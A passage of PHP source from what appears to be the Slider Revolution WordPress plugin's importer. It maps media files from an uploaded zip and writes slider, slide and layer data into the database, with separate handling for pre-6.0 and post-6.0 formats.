		if(!isset($params['layout']['bg'])) $params['layout']['bg'] = array();
		
		//remove imageId if it is set
		if($this->get_val($params, array('layout', 'bg', 'imageId'), false) !== false) unset($params['layout']['bg']['imageId']);
		
		if($this->get_val($params, array('layout', 'bg', 'useImage'), false) !== false){
			$params['layout']['bg']['useImage'] = $this->check_file_in_zip($this->download_path, $this->get_val($params, array('layout', 'bg', 'useImage')), $alias, $this->imported);
			$params['layout']['bg']['useImage'] = $this->get_image_url_from_path($this->get_val($params, array('layout', 'bg', 'useImage')));
		}
		if($this->get_val($params, array('layout', 'bg', 'image'), false) !== false){
			$params['layout']['bg']['image'] = $this->check_file_in_zip($this->download_path, $this->get_val($params, array('layout', 'bg', 'image')), $alias, $this->imported);
			$params['layout']['bg']['image'] = $this->get_image_url_from_path($this->get_val($params, array('layout', 'bg', 'image')));
		}
		if($this->get_val($params, array('troubleshooting', 'alternateURL'), false) !== false){
			$params['troubleshooting']['alternateURL'] = $this->check_file_in_zip($this->download_path, $this->get_val($params, array('troubleshooting', 'alternateURL')), $alias, $this->imported);
			$params['troubleshooting']['alternateURL'] = $this->get_image_url_from_path($this->get_val($params, array('troubleshooting', 'alternateURL')));
		}
		
		if(isset($params['troubleshooting']['alternateURLId'])) unset($params['troubleshooting']['alternateURLId']);
		
		$this->import_statics = true;
		
		//remap the navigations
		if(!empty($this->navigation_map)){
			$arrows	 = $this->get_val($params, array('nav', 'arrows', 'style'), false);
			$bullets = $this->get_val($params, array('nav', 'bullets', 'style'), false);
			$thumbs	 = $this->get_val($params, array('nav', 'thumbs', 'style'), false);
			$tabs	 = $this->get_val($params, array('nav', 'tabs', 'style'), false);
			
			if(isset($this->navigation_map[$arrows]))	$this->set_val($params, array('nav', 'arrows', 'style'), $this->navigation_map[$arrows]);
			if(isset($this->navigation_map[$bullets]))	$this->set_val($params, array('nav', 'bullets', 'style'), $this->navigation_map[$bullets]);
			if(isset($this->navigation_map[$thumbs]))	$this->set_val($params, array('nav', 'thumbs', 'style'), $this->navigation_map[$thumbs]);
			if(isset($this->navigation_map[$tabs]))		$this->set_val($params, array('nav', 'tabs', 'style'), $this->navigation_map[$tabs]);
		}
		
		//update slider or create new
		if($this->exists){
			$wpdb->update(
				$wpdb->prefix . RevSliderFront::TABLE_SLIDER,
				array(
					'title'	 => $title,
					'alias'	 => $alias,
					'params' => json_encode($params)
				),
				array('id' => $this->slider_id)
			);
			
			$this->title = $title;
			$this->alias = $alias;
		}else{	//new slider
			//check if Slider with title and/or alias exists, if yes change both to stay unique
			$insert = array(
				'title'	=> $title,
				'alias'	=> $alias	
			);
			
			if($this->is_template === false){ //we want to stay at the given alias if we are a template
				$talias = $insert['alias'];
				$ttitle = $insert['title'];
				$ti = 1;
				while($this->alias_exists($talias)){ //set a new alias and title if its existing in database
					$talias = $insert['alias'] . $ti;
					$ttitle = $insert['title'] . $ti;
					$ti++;
				}
				
				if($talias !== $insert['alias']){
					$params['title'] = $ttitle;
					$params['alias'] = $talias;
					$insert['title'] = $ttitle;
					$insert['alias'] = $talias;
				}
			}else{ //add that we are an template
				$params['uid']	= $this->is_template;
				$insert['title'] = $this->get_val($insert, 'title').' Template';
				$insert['type']	= 'template';
			}
			
			$insert['settings'] = $this->get_val($this->slider_data, 'settings', array());
			if($this->get_val($insert, array('settings', 'version'), false) === false){
				$this->set_val($insert, array('settings', 'version'), $this->get_val($params, 'version', '1.0.0'));
			}
			
			$insert['settings'] = json_encode($insert['settings']);
			$insert['params'] = json_encode($params);
			
			$wpdb->insert($wpdb->prefix . RevSliderFront::TABLE_SLIDER, $insert);
			$this->slider_id = $wpdb->insert_id;
			
			$this->title = $this->get_val($insert, 'title');
			$this->alias = $this->get_val($insert, 'alias');
		}
		
		//allow for updating the slider params
		$d = array('params' => $params, 'sliderParams' => $this->slider_data, 'imported' => $this->imported);
		$d = apply_filters('revslider_importSliderFromPost_modify_slider_data', $d, $this->download_path, $this);
		
		$params				= $d['params'];
		$this->slider_data	= $d['sliderParams'];
		$this->imported		= $d['imported'];
		$wpdb->update(
			$wpdb->prefix . RevSliderFront::TABLE_SLIDER,
			array(
				'params' => json_encode($params)
			),
			array('id' => $this->slider_id)
		);
	}
	
	
	/**
	 * process the slide data, mapping and layers
	 **/
	public function process_slide_data(){
		$this->slides_data = $this->get_val($this->slider_data, 'slides');
		if(empty($this->slides_data)) return false;
		
		foreach($this->slides_data as $slide_key => $slide){
			$params	= $this->get_val($slide, 'params');
			if(version_compare($this->get_val($params, 'version', '1.0.0'), '6.0.0', '<')){
				$this->process_slide_data_pre_6();
			}else{
				$this->process_slide_data_post_6();
			}
			break;
		}
	}
	
	
	/**
	 * process Slide data, mapping and layers of a pre 6.0 slide
	 **/
	public function process_slide_data_pre_6(){
		global $wpdb;

		if(empty($this->slides_data)) return false;

		$template = new RevSliderTemplate();
		foreach($this->slides_data as $slide_key => $slide){
			
			$params		= $this->get_val($slide, 'params');
			$layers		= $this->get_val($slide, 'layers');
			$settings	= $this->get_val($slide, 'settings', '');
			$alias		= $this->get_val($this->slider_data, 'alias');
			
			//convert params images:
			if($this->import_zip === true){ //we have a zip, check if exists
				//remove image_id as it is not needed in import
				if(isset($params['image_id'])) unset($params['image_id']);
				
				if(isset($params['image'])){
					$params['image'] = $this->check_file_in_zip($this->download_path, $params['image'], $alias, $this->imported);
					$params['image'] = $this->get_image_url_from_path($params['image']);
				}
				
				if(isset($params['background_image'])){
					$params['background_image'] = $this->check_file_in_zip($this->download_path, $params['background_image'], $alias, $this->imported);
					$params['background_image'] = $this->get_image_url_from_path($params['background_image']);
				}
				
				if(isset($params['slide_thumb'])){
					$params['slide_thumb'] = $this->check_file_in_zip($this->download_path, $params['slide_thumb'], $alias, $this->imported);
					$params['slide_thumb'] = $this->get_image_url_from_path($params['slide_thumb']);
				}
				//check if we are a template slider, if yes, use template slide image
				if($this->is_template !== false && empty($params['slide_thumb'])){
					$params['slide_thumb']		= $template->get_slide_image_by_uid($this->is_template, $slide_key);
					$params['thumb_for_admin']	= 'on';
				}
				
				if(isset($params['show_alternate_image'])){
					$params['show_alternate_image'] = $this->check_file_in_zip($this->download_path, $params['show_alternate_image'], $alias, $this->imported);
					$params['show_alternate_image'] = $this->get_image_url_from_path($params['show_alternate_image']);
				}
				
				if(isset($params['background_type']) && $params['background_type'] == 'html5'){
					if(isset($params['slide_bg_html_mpeg']) && $params['slide_bg_html_mpeg'] != ''){
						$params['slide_bg_html_mpeg'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $params['slide_bg_html_mpeg'], $alias, $this->imported, true));
					}
					if(isset($params['slide_bg_html_webm']) && $params['slide_bg_html_webm'] != ''){
						$params['slide_bg_html_webm'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $params['slide_bg_html_webm'], $alias, $this->imported, true));
					}
					if(isset($params['slide_bg_html_ogv'])  && $params['slide_bg_html_ogv'] != ''){
						$params['slide_bg_html_ogv'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $params['slide_bg_html_ogv'], $alias, $this->imported, true));
					}
				}
			}
			
			//convert layers images:
			if(!empty($layers)){
				foreach($layers as $layer_key => $layer){
					//import if exists in zip folder
					if($this->import_zip === true){ //we have a zip, check if exists
						if(isset($layer['image_url'])){
							$layer['image_url'] = $this->check_file_in_zip($this->download_path, $layer['image_url'], $alias, $this->imported);
							$layer['image_url'] = $this->get_image_url_from_path($layer['image_url']);
						}
						if(isset($layer['bgimage_url'])){
							$layer['bgimage_url'] = $this->check_file_in_zip($this->download_path, $layer['bgimage_url'], $alias, $this->imported);
							$layer['bgimage_url'] = $this->get_image_url_from_path($layer['bgimage_url']);
						}
						if(isset($layer['type']) && ($layer['type'] == 'video' || $layer['type'] == 'audio')){
							$video_data = (isset($layer['video_data'])) ? (array) $layer['video_data'] : array();
							
							if(!empty($video_data) && isset($video_data['video_type']) && $video_data['video_type'] == 'html5'){
								if(isset($video_data['urlPoster']) && $video_data['urlPoster'] != ''){
									$video_data['urlPoster'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlPoster'], $alias, $this->imported));
								}
								if(isset($video_data['urlMp4']) && $video_data['urlMp4'] != ''){
									$video_data['urlMp4'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlMp4'], $alias, $this->imported, true));
								}
								if(isset($video_data['urlWebm']) && $video_data['urlWebm'] != ''){
									$video_data['urlWebm'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlWebm'], $alias, $this->imported, true));
								}
								if(isset($video_data['urlOgv']) && $video_data['urlOgv'] != ''){
									$video_data['urlOgv'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlOgv'], $alias, $this->imported, true));
								}
							}elseif(!empty($video_data) && isset($video_data['video_type']) && $video_data['video_type'] != 'html5'){ //video cover image
								if($video_data['video_type'] == 'audio'){
									if(isset($video_data['urlAudio']) && $video_data['urlAudio'] != ''){
										$video_data['urlAudio'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['urlAudio'], $alias, $this->imported, true));
									}
								}else{
									if(isset($video_data['previewimage']) && $video_data['previewimage'] != ''){
										$video_data['previewimage'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $video_data['previewimage'], $alias, $this->imported));
									}
								}
							}
							
							$layer['video_data'] = $video_data;
							
							if(isset($layer['video_image_url']) && $layer['video_image_url'] != ''){
								$layer['video_image_url'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $layer['video_image_url'], $alias, $this->imported));
							}
						}
						
						if(isset($layer['type']) && $layer['type'] == 'svg'){
							if(isset($layer['svg']) && isset($layer['svg']->src)){
								$layer['svg']->src = content_url().$layer['svg']->src;
							}
						}
					}
					
					$layer['text']		= stripslashes($this->get_val($layer, 'text'));
					$layers[$layer_key]	= $layer;
				}
			}
			
			$this->slides_data[$slide_key]['layers'] = $layers;
			
			$d = array('params' => $params, 'sliderParams' => $this->slider_data, 'layers' => $layers, 'settings' => $settings, 'imported' => $this->imported);
			$d = apply_filters('revslider_importSliderFromPost_modify_data', $d, 'normal', $this->download_path, $this);
			
			$params			= $d['params'];
			$this->slider_data = $d['sliderParams'];
			$layers			= $d['layers'];
			$settings		= $d['settings'];
			$this->imported	= $d['imported'];
			
			$my_layers		= json_encode($layers);
			$my_layers		= (empty($my_layers)) ? stripslashes(json_encode($layers)) : $my_layers;
			$my_params		= json_encode($params);
			$my_params		= (empty($my_params)) ? stripslashes(json_encode($params)) : $my_params;
			$my_settings	= json_encode($settings);
			$my_settings	= (empty($my_settings)) ? stripslashes(json_encode($settings)) : $my_settings;
			
			//create new slide
			$wpdb->insert(
				$wpdb->prefix . RevSliderFront::TABLE_SLIDES,
				array(
					'slider_id'	=> $this->slider_id,
					'slide_order' => $this->get_val($slide, 'slide_order'),
					'layers'	=> $my_layers,
					'params'	=> $my_params,
					'settings'	=> $my_settings
				)
			);
			
			if(isset($slide['id'])){
				$this->map[$slide['id']] = $wpdb->insert_id;
			}
		}
	}
	
	
	/**
	 * process Slide data, mapping and layers of a pre 6.0 slide
	 **/
	public function process_slide_data_post_6(){
		global $wpdb, $wp_filesystem;
		if(empty($this->slides_data)) return false;

		$template = new RevSliderTemplate();
		foreach($this->slides_data as $slide_key => $slide){
			$params		= $this->get_val($slide, 'params');
			$layers		= $this->get_val($slide, 'layers', array());
			$settings	= $this->get_val($slide, 'settings', '');
			$alias		= $this->get_val($this->slider_data, 'alias');
			
			//import videos/images
			if($this->import_zip === true){ //we have a zip, check if exists
				/**
				 * images/videos in slide:
				 * bg.image
				 * bg.imageId
				 * bg.mpeg
				 * bg.ogv
				 * bg.webm
				 * bg.videoId
				 * thumb.customThumbSrc
				 * thumb.customThumbSrcId
				 * thumb.customAdminThumbSrc
				 * thumb.customAdminThumbSrcId
				 **/
				//remove image_id as it is not needed in import
				if($this->get_val($params, array('bg', 'imageId'), false) !== false) unset($params['bg']['imageId']);
				//if($this->get_val($params, array('bg', 'videoId'), false) !== false) unset($params['bg']['videoId']); //TODO maybe not delete, depending on if this is a wordpress media library id (then yes) or not
				if($this->get_val($params, array('thumb', 'customThumbSrcId'), false) !== false) unset($params['thumb']['customThumbSrcId']);
				if($this->get_val($params, array('thumb', 'customAdminThumbSrcId'), false) !== false) unset($params['thumb']['customAdminThumbSrcId']);
				
				if($this->get_val($params, array('bg', 'image'), false) !== false){
					$params['bg']['image'] = $this->check_file_in_zip($this->download_path, $params['bg']['image'], $alias, $this->imported);
					$params['bg']['image'] = $this->get_image_url_from_path($params['bg']['image']);
					
					if(!empty($params['bg']['image'])){
						$imgid = $this->get_image_id_by_url($params['bg']['image']);
						if(!empty($imgid) && $imgid !== 0){
							$params['bg']['imageId'] = $imgid;
						}
					}
				}
				
				if($this->get_val($params, array('layout', 'bg', 'image'), false) !== false){
					$params['layout']['bg']['image'] = $this->check_file_in_zip($this->download_path, $this->get_val($params, array('layout', 'bg', 'image')), $alias, $this->imported);
					$params['layout']['bg']['image'] = $this->get_image_url_from_path($this->get_val($params, array('layout', 'bg', 'image')));
				}
				
				if($this->get_val($params, array('thumb', 'customThumbSrc'), false) !== false){
					$params['thumb']['customThumbSrc'] = $this->check_file_in_zip($this->download_path, $this->get_val($params, array('thumb', 'customThumbSrc')), $alias, $this->imported);
					$params['thumb']['customThumbSrc'] = $this->get_image_url_from_path($this->get_val($params, array('thumb', 'customThumbSrc')));
				}
				if($this->get_val($params, array('thumb', 'customAdminThumbSrc'), false) !== false){
					$params['thumb']['customAdminThumbSrc'] = $this->check_file_in_zip($this->download_path, $this->get_val($params, array('thumb', 'customAdminThumbSrc')), $alias, $this->imported);
					$params['thumb']['customAdminThumbSrc'] = $this->get_image_url_from_path($this->get_val($params, array('thumb', 'customAdminThumbSrc')));
				}
				
				//check if we are a template slider, if yes, use template slide image
				if($this->is_template !== false){
					if($this->get_val($params, array('thumb', 'customThumbSrc'), false) === false){
						if(!isset($params['thumb'])) $params['thumb'] = array();
						$params['thumb']['customThumbSrc'] = $template->get_slide_image_by_uid($this->is_template, $slide_key);
					}
					if($this->get_val($params, array('thumb', 'customAdminThumbSrc'), false) === false){
						if(!isset($params['thumb'])) $params['thumb'] = array();
						$params['thumb']['customAdminThumbSrc'] = $this->get_val($params, array('thumb', 'customThumbSrc'));
					}
				}
				
				if($this->get_val($params, array('troubleshooting', 'alternateURL'), false) !== false){
					$params['troubleshooting']['alternateURL'] = $this->check_file_in_zip($this->download_path, $this->get_val($params, array('troubleshooting', 'alternateURL')), $alias, $this->imported);
					$params['troubleshooting']['alternateURL'] = $this->get_image_url_from_path($this->get_val($params, array('troubleshooting', 'alternateURL')));
				}
				
				if($this->get_val($params, array('bg', 'type')) == 'html5'){
					if($this->get_val($params, array('bg', 'mpeg')) !== ''){
						$params['bg']['mpeg'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($params, array('bg', 'mpeg')), $alias, $this->imported, true));
					}
					if($this->get_val($params, array('bg', 'webm')) !== ''){
						$params['bg']['webm'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($params, array('bg', 'webm')), $alias, $this->imported, true));
					}
					if($this->get_val($params, array('bg', 'ogv')) !== ''){
						$params['bg']['ogv'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($params, array('bg', 'ogv')), $alias, $this->imported, true));
					}
				}
				
				$this->slides_data[$slide_key]['params'] = $params;
			}
			
			//convert layers images:
			if(!empty($layers)){
				/**
				 * media.imageUrl
				 * media.imageId
				 * media.posterUrl
				 * media.posterId
				 * media.audioUrl
				 * media.thumbs.veryBig
				 * media.thumbs.big
				 * media.thumbs.large
				 * media.thumbs.medium
				 * media.thumbs.small
				 * media.mp4Url
				 * media.ogvUrl
				 * media.webmUrl
				 * svg.source 
				 * idle.backgroundImage
				 * idle.backgroundImageId
				 **/
				foreach($layers as $layer_key => $layer){
					//import if exists in zip folder
					if($this->import_zip === true){ //we have a zip, check if exists
						$layer_type = $this->get_val($layer, 'type', 'text');
						
						if($this->get_val($layer, array('media', 'imageId'), false) !== false) unset($layer['media']['imageId']);
						if($this->get_val($layer, array('media', 'posterId'), false) !== false) unset($layer['media']['posterId']);
						if($this->get_val($layer, array('idle', 'backgroundImageId'), false) !== false) unset($layer['idle']['backgroundImageId']);
						
						$image_url	= $this->get_val($layer, array('media', 'imageUrl'), false);
						$bg_image	= $this->get_val($layer, array('idle', 'backgroundImage'), false);
						$very_big	= $this->get_val($layer, array('media', 'thumbs', 'veryBig'), false);
						$big		= $this->get_val($layer, array('media', 'thumbs', 'big'), false);
						$large		= $this->get_val($layer, array('media', 'thumbs', 'large'), false);
						$medium		= $this->get_val($layer, array('media', 'thumbs', 'medium'), false);
						$small		= $this->get_val($layer, array('media', 'thumbs', 'small'), false);
						
						$very_big	= (is_array($very_big) && isset($very_big['url'])) ? $very_big['url'] : $very_big;
						$big		= (is_array($big) && isset($big['url'])) ? $big['url'] : $big;
						$large		= (is_array($large) && isset($large['url'])) ? $large['url'] : $large;
						$medium		= (is_array($medium) && isset($medium['url'])) ? $medium['url'] : $medium;
						$small		= (is_array($small) && isset($small['url'])) ? $small['url'] : $small;
						
						if($image_url !== false)$layer['media']['imageUrl']			 = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $image_url, $alias, $this->imported));
						if($bg_image !== false) $layer['idle']['backgroundImage']	 = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $bg_image, $alias, $this->imported));
						if($very_big !== false) $layer['media']['thumbs']['veryBig'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $very_big, $alias, $this->imported));
						if($big !== false)		$layer['media']['thumbs']['big']	 = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $big, $alias, $this->imported));
						if($large !== false)	$layer['media']['thumbs']['large']	 = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $large, $alias, $this->imported));
						if($medium !== false)	$layer['media']['thumbs']['medium']	 = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $medium, $alias, $this->imported));
						if($small !== false)	$layer['media']['thumbs']['small']	 = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $small, $alias, $this->imported));
						
						if(!empty($layer['media']['imageUrl'])){
							$imgid = $this->get_image_id_by_url($layer['media']['imageUrl']);
							if(!empty($imgid) && $imgid !== 0){
								$layer['media']['imageId'] = $imgid;
							}
						}
						if(!empty($layer['idle']['backgroundImage'])){
							$imgid = $this->get_image_id_by_url($layer['idle']['backgroundImage']);
							if(!empty($imgid) && $imgid !== 0){
								$layer['idle']['backgroundImageId'] = $imgid;
							}
						}
						
						if(in_array($layer_type, array('video', 'audio'))){
							$media_type = $this->get_val($layer, array('media', 'mediaType'));
							if($media_type == 'html5'){
								$mp4	= $this->get_val($layer, array('media', 'mp4Url'), '');
								$webm	= $this->get_val($layer, array('media', 'webmUrl'), '');
								$ogv	= $this->get_val($layer, array('media', 'ogvUrl'), '');
								
								if($mp4 !== '')	 $layer['media']['mp4Url'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $mp4, $alias, $this->imported, true));
								if($webm !== '') $layer['media']['webmUrl'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $webm, $alias, $this->imported, true));
								if($ogv !== '')	 $layer['media']['ogvUrl'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, ogv, $alias, $this->imported, true));
							}elseif($media_type == 'audio'){ //video cover image
								$audio = $this->get_val($layer, array('media', 'audioUrl'));
								if($audio !== '') $layer['media']['audioUrl'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $audio, $alias, $this->imported, true));
							}
							
							if($this->get_val($layer, array('media', 'posterUrl'), '') !== ''){
								$layer['media']['posterUrl'] = $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $this->get_val($layer, array('media', 'posterUrl'), ''), $alias, $this->imported));
							}
						}
						
						if($layer_type == 'svg'){
							$svg = $this->get_val($layer, array('svg', 'source'), '');
							
							//check if we need to import it, if its available in the zip file
							$zimage	= $wp_filesystem->exists($this->download_path.'images/'.$svg);
							if(!$zimage) $zimage = $wp_filesystem->exists(str_replace('//', '/', $this->download_path.'images/'.$svg));
							$svgurl = ($zimage === true) ? $this->get_image_url_from_path($this->check_file_in_zip($this->download_path, $svg, $alias, $this->imported, true)) : content_url().$svg;
							
							if(!empty($svg)) $layer['svg']['source'] = $svgurl;
						}
					}
					
					$layer['text']		= stripslashes($this->get_val($layer, 'text'));
					$layers[$layer_key]	= $layer;
				}
			}
			
			$this->slides_data[$slide_key]['layers'] = $layers;
			
			
			$d = array('params' => $params, 'sliderParams' => $this->slider_data, 'layers' => $layers, 'settings' => $settings, 'imported' => $this->imported);
			$d = apply_filters('revslider_importSliderFromPost_modify_data', $d, 'normal', $this->download_path, $this);
			
			$this->slider_data = $d['sliderParams'];
			$this->imported	= $d['imported'];
			$params			= $d['params'];
			$layers			= $d['layers'];
			$settings		= $d['settings'];
			
			$my_layers	 = json_encode($layers);
			$my_layers	 = (empty($my_layers)) ? stripslashes(json_encode($layers)) : $my_layers;
			$my_params	 = json_encode($params);
			$my_params	 = (empty($my_params)) ? stripslashes(json_encode($params)) : $my_params;
			$my_settings = json_encode($settings);
			$my_settings = (empty($my_settings)) ? stripslashes(json_encode($settings)) : $my_settings;
			
			//create new slide
			$wpdb->insert(
				$wpdb->prefix . RevSliderFront::TABLE_SLIDES,
				array(
					'slider_id'	=> $this->slider_id,
					'slide_order' => $this->get_val($slide, 'slide_order'),
					'layers'	=> $my_layers,
					'params'	=> $my_params,
					'settings'	=> $my_settings
				)
			);
			
			if(isset($slide['id'])){
				$this->slides_data[$slide_key]['new_id'] = $wpdb->insert_id;
				$this->map[$slide['id']] = $wpdb->insert_id;
			}
		}
	}
	
	
	/**
	 * process layers, and update actions
	 **/
	public function process_layer_data(){
		if(!empty($this->map)){
			if(!empty($this->slides_data)){
				foreach($this->slides_data as $slide){
					if(version_compare($this->get_val($slide, array('params', 'version'), '1.0.0'), '6.0.0', '<')){
						$this->process_layer_data_pre_6($slide);
					}else{
						$this->process_layer_data_post_6($slide);
					}
				}
			}
		}
	}
	
	/**
	 * process layers from after 6.0
	 **/
	public function process_layer_data_post_6($slide){
		global $wpdb;
		
		$params = $this->get_val($slide, 'params', array());
		$layers = $this->get_val($slide, 'layers', array());
		
		//change for WPML the parent IDs if necessary
		$parent_id = $this->get_val($slide, array('params', 'child', 'parentId'), false);
		
		if(!in_array($parent_id, array(false, ''), true) && isset($this->map[$parent_id])){
			$create = array('params' => $params);
			
			$this->set_val($create, array('params', 'child', 'parentId'), $this->map[$parent_id]);
			
			$new_params = json_encode($create['params']);
			$new_params = (empty($new_params)) ? stripslashes(json_encode($create['params'])) : $new_params;
			$create['params'] = $new_params;
			
			$wpdb->update(
				$wpdb->prefix . RevSliderFront::TABLE_SLIDES,
				$create,
				array('id' => $this->map[$slide['id']])
			);
		}
		
		if(!empty($slide['layers'])){
			$did_change = false;
			foreach($slide['layers'] as $lk => $layer){
				$actions = $this->get_val($layer, array('actions', 'action'), array());
				if(!empty($actions)){
					foreach($actions as $a_k => $action){
						$jts = $this->get_val($action, 'jump_to_slide', '');
						if($jts !== ''){
							if(isset($this->map[$jts])){
								$this->set_val($slide['layers'][$lk], array('actions', 'action', $a_k, 'jump_to_slide'), $this->map[$jts]);
								$did_change = true;
							}
						}
						
						if(!empty($this->map)){
							$cb = $this->get_val($action, 'actioncallback', '');
							if($cb !== ''){
								$cb = str_replace('slider-'.$this->old_slider_id.'-', 'slider-'.$this->slider_id.'-', $cb);
								$cb = str_replace('slider_'.$this->old_slider_id.'_', 'slider_'.$this->slider_id.'_', $cb);
								foreach($this->map as $old_slide_id => $new_slide_id){
									$cb = str_replace('slide-'.$old_slide_id.'-', 'slide-'.$new_slide_id.'-', $cb);
									$this->set_val($slide['layers'][$lk], array('actions', 'action', $a_k, 'actioncallback'), $cb);
									$did_change = true;
								}
							}
						}
					}
				}
				
				/**
				 * check for wrong formatted false values in the reverseDirection
				 **/
				$_reverse_check = array('frame_0', 'frame_1', 'frame_999');
				foreach($_reverse_check as $rc){
					$lr = $this->get_val($layer, array('timeline', 'frames', $rc, 'reverseDirection'), array());
					if(!empty($lr)){
						foreach($lr as $lrk => $lrv){
							if($lrv === 'false'){
								$this->set_val($slide['layers'][$lk], array('timeline', 'frames', $rc, 'reverseDirection', $lrk), false);
								$did_change = true;
							}
							if($lrv === 'true'){
								$this->set_val($slide['layers'][$lk], array('timeline', 'frames', $rc, 'reverseDirection', $lrk), true);
								$did_change = true;
							}
						}
					}
				}
			}
			
			if($did_change === true){
				$my_layers	= json_encode($slide['layers']);
				$create		= array();
				$create['layers'] = (empty($my_layers)) ? stripslashes(json_encode($layers)) : $my_layers;
				
				$wpdb->update($wpdb->prefix . RevSliderFront::TABLE_SLIDES, $create, array('id' => $this->map[$slide['id']]));
			}
		}
	}
	
	/**
	 * process layers from before 6.0
	 **/
	public function process_layer_data_pre_6($slide){
		global $wpdb;
		
		//change for WPML the parent IDs if necessary
		if(isset($slide['params']['parentid']) && isset($this->map[$slide['params']['parentid']])){
			$create		= array('params' => $this->get_val($slide, 'params'));
			$create['params']['parentid'] = $this->map[$this->get_val($create['params'], 'parentid')];
			$my_params	= json_encode($create['params']);
			$my_params	= (empty($my_params)) ? stripslashes(json_encode($create['params'])) : $my_params;
			$create['params'] = $my_params;
			
			$wpdb->update(
				$wpdb->prefix . RevSliderFront::TABLE_SLIDES,
				$create,
				array('id' => $this->map[$slide['id']])
			);
		}
		
		$did_change = false;
		if(!empty($slide['layers'])){
			foreach($slide['layers'] as $key => $value){
				if(isset($value['layer_action'])){
					if(isset($value['layer_action']->jump_to_slide) && !empty($value['layer_action']->jump_to_slide)){
						$value['layer_action']->jump_to_slide = (array)$value['layer_action']->jump_to_slide;
						foreach($value['layer_action']->jump_to_slide as $jtsk => $jtsval){
							if(isset($this->map[$jtsval])){
								$slide['layers'][$key]['layer_action']->jump_to_slide[$jtsk] = $this->map[$jtsval];
								$did_change = true;
							}
						}
					}
				}
				
				$link_slide = $this->get_val($value, 'link_slide', false);
				if($link_slide != false && $link_slide !== 'nothing'){ //link to slide/scrollunder is set, move it to actions
					if(!isset($slide['layers'][$key]['layer_action'])) $slide['layers'][$key]['layer_action'] = new stdClass();
					switch($link_slide){
						case 'link':
							$link = $this->get_val($value, 'link');
							$link_open_in = $this->get_val($value, 'link_open_in');
							$slide['layers'][$key]['layer_action']->action = array('a' => 'link');
							$slide['layers'][$key]['layer_action']->link_type = array('a' => 'a');
							$slide['layers'][$key]['layer_action']->image_link = array('a' => $link);
							$slide['layers'][$key]['layer_action']->link_open_in = array('a' => $link_open_in);
							
							unset($slide['layers'][$key]['link']);
							unset($slide['layers'][$key]['link_open_in']);
						break;
						case 'next':
							$slide['layers'][$key]['layer_action']->action = array('a' => 'next');
						break;
						case 'prev':
							$slide['layers'][$key]['layer_action']->action = array('a' => 'prev');
						break;
						case 'scroll_under':
							$scrollunder_offset = $this->get_val($value, 'scrollunder_offset');
							$slide['layers'][$key]['layer_action']->action = array('a' => 'scroll_under');
							$slide['layers'][$key]['layer_action']->scrollunder_offset = array('a' => $scrollunder_offset);
							
							unset($slide['layers'][$key]['scrollunder_offset']);
						break;
						default: //its an ID, so its a slide ID
							$slide['layers'][$key]['layer_action']->action = array('a' => 'jumpto');
							$slide['layers'][$key]['layer_action']->jump_to_slide = array('a' => $this->map[$link_slide]);
						break;
						
					}
					$slide['layers'][$key]['layer_action']->tooltip_event = array('a' => 'click');
					
					unset($slide['layers'][$key]['link_slide']);
					
					$did_change = true;
				}
			}
			
			if($did_change === true){
				$my_layers	= json_encode($slide['layers']);
				$create		= array();
				$create['layers'] = (empty($my_layers)) ? stripslashes(json_encode($slide['layers'])) : $my_layers;
				
				$wpdb->update($wpdb->prefix . RevSliderFront::TABLE_SLIDES, $create, array('id' => $this->map[$slide['id']]));
			}
		}
	}
	
	/**
	 * process the static slide plus layers, and update actions
	 **/
	public function process_static_slide_data(){
		$static_slide = $this->get_val($this->slider_data, 'static_slides');
		if(!empty($static_slide) && $this->import_statics){
			foreach($static_slide as $slide){
				$params	= $this->get_val($slide, 'params');
				if(version_compare($this->get_val($params, 'version', '1.0.0'), '6.0.0', '<')){
					$this->process_static_slide_data_pre_6();
				}else{
					$this->process_static_slide_data_post_6();
				}
				break;
			}
		}
	}
	
	
	/**
	 * process the static slide plus layers, and update actions for Static Slides pre 6.0
	 **/
	public function process_static_slide_data_pre_6(){
		global $wpdb;
		//check if static slide exists and import
		$static_slide = $this->get_val($this->slider_data, 'static_slides');
		
		if(!empty($static_slide) && $this->import_statics){
			foreach($static_slide as $slide){
				$params		= $this->get_val($slide, 'params');
				$layers		= $this->get_val($slide, 'layers');
				$settings	= $this->get_val($slide, 'settings', '');
				
				//remove image_id as it is not needed in import
				if(isset($params['image_id'])) unset($params['image_id']);
				
				$image			 = trim($this->get_val($params, 'image', ''));
				$params['image'] = $this->import_media_from_zip($image);
				
				//convert layers images:
				if(!empty($layers)){
					foreach($layers as $layer_key => $layer){
						
						$image = trim($this->get_val($layer, 'image_url', ''));
						$layer['image_url']	= $this->import_media_from_zip($image);
						
						$image = trim($this->get_val($layer, 'bgimage_url', ''));
						$layer['bgimage_url'] = $this->import_media_from_zip($image);
						
						$layer['text'] = stripslashes($this->get_val($layer, 'text'));

						$type = $this->get_val($layer, 'type');
						if($type == 'video' || $type == 'audio'){
							$video_data = (array)$this->get_val($layer, 'video_data', array());
							if(!empty($video_data) && isset($video_data['video_type']) && $video_data['video_type'] == 'html5'){
